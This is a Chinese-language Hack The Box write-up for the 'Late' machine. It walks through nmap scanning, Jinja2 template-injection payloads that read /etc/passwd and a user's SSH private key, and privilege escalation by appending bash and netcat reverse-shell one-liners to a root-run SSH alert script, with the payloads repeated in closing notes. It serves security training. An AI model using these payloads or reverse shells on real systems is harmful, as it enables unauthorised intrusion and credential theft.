nmap -v -sV 10.10.11.156
发现两个端口
22/tcp ssh
80/tcp http
打开网页
发现个地址,打不开,
images.late.htb
在 hosts 加上地址
10.10.11.156 images.late.htb
打开后,一个文件上传地址
上传文件发现只能上传 PNG 格式文件,其他文件在 browse 会不显示
上传后,发现了他的上传文件路径
Error occured while processing the image: cannot identify image file '/home/svc_acc/app/uploads/test.png1500'
发现这是 Flask 框架
利用图片转 text 的功能,试一下能否执行
{{3+3}}
{{3*3}}
上传后,下来看到 text 内容
把语句转换成图片,成功{{url_for.__globals__.__builtins__.open("/etc/passwd").read()}}
svc_acc❌1000:1000 Account:/home/svc_acc:/bin/bash
发现有个 svc_acc 用户可用,看一下目录下 .ssh 中是否有密钥:{{url_for.__globals__.__builtins__.open("/home/svc_acc/.ssh/id_rsa").read()}}
新建文件 id_rsa,复制进去,删掉后缀名
就用这个密钥进行 ssh 连接
chmod 600 id_rsa
svc_acc
得到 shell#
ssh svc_acc@10.10.11.156 -i id_rsa
进来就看到了 user.txt
svc_acc@late:~$ cat user.txt
ab33ccd06cbd67114d219eceae59f08c
find / -perm -u=s -type f 2>/dev/null
查看权限和 SUID 文件:
使用 linpeas.sh 枚举一下
chmod -x linpeas.sh
./linpeas.sh > out.txt
使用 LinPEAS,注意到一个有趣的文件名为由 root 用户运行,每次有人连接到 SSH 时都会运行。/usr/local/sbin
根据提示,找到这里这个脚本
可以尝试在里面加上一个反弹 shell,然后再次连接,可以获得 root
先创建一个文件svc_acc@late:~$ touch file.txtsvc_acc@late:~$ ls -la<br />-rw-rw-r — 1 svc_acc svc_acc 0 May 26 12:27 file.txt
编辑文件并向其中添加反向 shell 有效负载svc_acc@late:~$ vim file.txt# here we addbash -i >& /dev/tcp/$ip/端口 0>&1
将您创建的文件附加到 ssh 警报文件并检查是否已完成此操作svc_acc@late:~$ cat /home/svc_acc/file.txt >> /usr/local/sbin/ssh-alert.shsvc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh<br />#!/bin/bashRECIPIENT=”[email protected]”<br />SUBJECT=”Email from Server Login: SSH Alert”BODY=”<br />A SSH login was detected.User: $PAM_USER<br /> User IP Host: $PAM_RHOST<br /> Service: $PAM_SERVICE<br /> TTY: $PAM_TTY<br /> Date:
date<br /> Server:
uname -a<br />“if [ ${PAM_TYPE} = “open_session” ]; then<br /> echo “Subject:${SUBJECT} ${BODY}” | /usr/sbin/sendmail ${RECIPIENT}<br />fi**bash -i >& /dev/tcp/$ip/端口 0>&1**
附加到文件中。在本地机器上设置一个 netcat 监听,然后再次通过 SSH 再次连接,以触发 root 执行 ssh 文件。
┌──(kali ㉿ kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.156] 59010
bash: cannot set terminal process group (29224): Inappropriate ioctl for device
bash: no job control in this shell
拿到 root#
root@late:/# whoami
whoami
root
root@late:/root# cat root.txt
cat root.txt
参考文章
https://systemweakness.com/hack-the-box-late-walkthrough-1a496ad6e13e
笔记:#
{{3+3}}
{{3*3}}
{{url_for.globals.builtins.open("/etc/passwd").read()}}
{{url_for.globals.builtins.open("/home/svc_acc/.ssh/id_rsa").read()}}
find / -perm -u=s -type f 2>/dev/null
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc 10.10.14.3 1234 >/tmp/f" >> /usr/local/sbin/ssh-alert.sh
echo "sh -i >& /dev/tcp/10.10.14.3/4444 0>&1" >> /usr/local/sbin/ssh-alert.sh
bash -i >& /dev/tcp/10.10.14.3/4444 0>&1